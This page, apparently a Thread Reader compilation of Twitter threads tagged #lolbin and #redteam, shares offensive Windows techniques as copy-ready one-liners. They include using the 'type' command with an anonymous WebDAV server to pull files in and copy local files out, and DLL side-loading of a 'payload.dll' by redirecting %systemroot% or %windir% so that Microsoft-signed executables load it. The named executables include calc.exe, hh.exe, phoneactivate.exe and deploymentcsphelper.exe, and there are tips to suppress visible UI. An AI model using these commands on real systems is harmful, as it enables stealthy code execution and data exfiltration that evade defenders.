Discover and read the best of Twitter Threads about #lolbin

Most recents (4)

The Windows type command has download/upload functionality
1️⃣ Host a WebDAV server with anonymous r/w access
2️⃣ Download: type \\webdav-ip\folder\file.ext > C:\Path\file.ext
3️⃣ Upload: type C:\Path\file.ext > \\webdav-ip\folder\file.ext
#lolbin #redteam
(Bonus ADS 😆)
To host a simple python WebDAV server use wsgidav.
wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
github.com/mar10/wsgidav
If anyone knows how to have a webserver interpret the PROPFIND method as a GET method, I would be very interested in learning.
Read 4 tweets
#lolbin #lolbas (again cuz i messed up the oneliner on the previous attempt) load a DLL of your choice with calc.exe. Oneliner: mkdir C:\x\system32&set systemroot=C:\x&copy /y payload.dll %systemroot%\system32\propsys.dll&C:\Windows\System32\calc.exe
hh would do so too. but for hh an argument has to be provided (as you can see in the screenshot it didn't try loading anything on the first run w/o the help switch); mkdir C:\x\system32&set systemroot=C:\x&copy /y payload.dll %systemroot%\system32\propsys.dll&C:\windows\hh.exe /?
but there's this annoying ui that loads on a different thread than our msgbox; seems like dataexchange.dll is supposed to load earlier, so this is w/o ui: mkdir C:\x\system32&set systemroot=C:\x&copy /y payload.dll %systemroot%\system32\dataexchange.dll&C:\windows\hh.exe /?
Read 3 tweets
Some #lolbins [likely hw-related] call igc64.dll (Intel Graphics Shader Compiler for Intel(R) Graphics Accelerator), which then tries to LoadLibraryA on rasty_jitter64.dll (obviously from either CWD or %PATH%). Just export JitCreateCompilerData & run phoneactivate.exe toloadurdll
same with filehistory
And to avoid showing up any UI, call ExitProcess when done.
Read 10 tweets
Load your DLL payload with a MS-signed executable; deploymentcsphelper.exe, by setting %windir% to C:\dummy and planting your lib as dbghelp.dll under system32 of that dummy folder #lolbin #lolbas
Same with djoin.exe
and dnscacheugc.exe
Read 11 tweets

Related hashtags

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3.00/month or $30.00/year) and get exclusive features!

Become Premium

Too expensive? Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal Become our Patreon

Thank you for your support!